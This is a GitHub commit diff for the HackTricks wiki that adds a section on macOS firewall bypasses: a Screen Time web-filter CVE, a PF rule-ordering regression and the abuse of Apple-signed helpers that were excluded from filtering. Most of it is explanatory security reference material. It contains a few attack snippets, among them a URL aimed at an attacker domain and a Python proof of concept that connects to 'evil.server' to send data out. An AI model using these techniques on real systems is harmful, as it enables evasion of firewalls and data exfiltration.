Skip to content

Commit 1b7679a

Browse files
authored
Merge pull request HackTricks-wiki#1218 from HackTricks-wiki/research_update_src_macos-hardening_macos-security-and-privilege-escalation_macos-bypassing-firewalls_20250731_082834
Research Update Enhanced src/macos-hardening/macos-security-...
2 parents aafd0a0 + 1792032 commit 1b7679a

File tree

1 file changed

+59
-3
lines changed

1 file changed

+59
-3
lines changed

‎src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md‎

Lines changed: 59 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -79,11 +79,67 @@ If you can **inject code into a process** that is allowed to connect to any serv
7979
macos-proces-abuse/
8080
{{#endref}}
8181

82-
## References
82+
---
8383

84-
- [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
84+
## Recent macOS firewall bypass vulnerabilities (2023-2025)
8585

86-
{{#include ../../banners/hacktricks-training.md}}
86+
### Web content filter (Screen Time) bypass – **CVE-2024-44206**
87+
In July 2024 Apple patched a critical bug in Safari/WebKit that broke the system-wide “Web content filter” used by Screen Time parental controls.
88+
A specially crafted URI (for example, with double URL-encoded “://”) is not recognised by the Screen Time ACL but is accepted by WebKit, so the request is sent out unfiltered. Any process that can open a URL (including sandboxed or unsigned code) can therefore reach domains that are explicitly blocked by the user or an MDM profile.
89+
90+
Practical test (un-patched system):
91+
92+
```bash
93+
open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time
94+
# if the patch is missing Safari will happily load the page
95+
```
96+
97+
### Packet Filter (PF) rule-ordering bug in early macOS 14 “Sonoma”
98+
During the macOS 14 beta cycle Apple introduced a regression in the userspace wrapper around **`pfctl`**.
99+
Rules that were added with the `quick` keyword (used by many VPN kill-switches) were silently ignored, causing traffic leaks even when a VPN/firewall GUI reported *blocked*. The bug was confirmed by several VPN vendors and fixed in RC 2 (build 23A344).
100+
101+
Quick leak-check:
102+
103+
```bash
104+
pfctl -sr | grep quick # rules are present…
105+
sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface
106+
```
107+
108+
### Abusing Apple-signed helper services (legacy – pre-macOS 11.2)
109+
Before macOS 11.2 the **`ContentFilterExclusionList`** allowed ~50 Apple binaries such as **`nsurlsessiond`** and the App Store to bypass all socket-filter firewalls implemented with the Network Extension framework (LuLu, Little Snitch, etc.).
110+
Malware could simply spawn an excluded process—or inject code into it—and tunnel its own traffic over the already-allowed socket. Apple completely removed the exclusion list in macOS 11.2, but the technique is still relevant on systems that cannot be upgraded.
111+
112+
Example proof-of-concept (pre-11.2):
113+
114+
```python
115+
import subprocess, socket
116+
# Launch excluded App Store helper (path collapsed for clarity)
117+
subprocess.Popen(['/System/Applications/App\\ Store.app/Contents/MacOS/App Store'])
118+
# Connect through the inherited socket
119+
s = socket.create_connection(("evil.server", 443))
120+
s.send(b"exfil...")
121+
```
122+
123+
---
87124

125+
## Tooling tips for modern macOS
88126

127+
1. Inspect current PF rules that GUI firewalls generate:
128+
```bash
129+
sudo pfctl -a com.apple/250.ApplicationFirewall -sr
130+
```
131+
2. Enumerate binaries that already hold the *outgoing-network* entitlement (useful for piggy-backing):
132+
```bash
133+
codesign -d --entitlements :- /path/to/bin 2>/dev/null \
134+
| plutil -extract com.apple.security.network.client xml1 -o - -
135+
```
136+
3. Programmatically register your own Network Extension content filter in Objective-C/Swift.
137+
A minimal rootless PoC that forwards packets to a local socket is available in Patrick Wardle’s **LuLu** source code.
89138

139+
## References
140+
141+
- [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
142+
- <https://nosebeard.co/advisories/nbl-001.html>
143+
- <https://thehackernews.com/2021/01/apple-removes-macos-feature-that.html>
144+
145+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)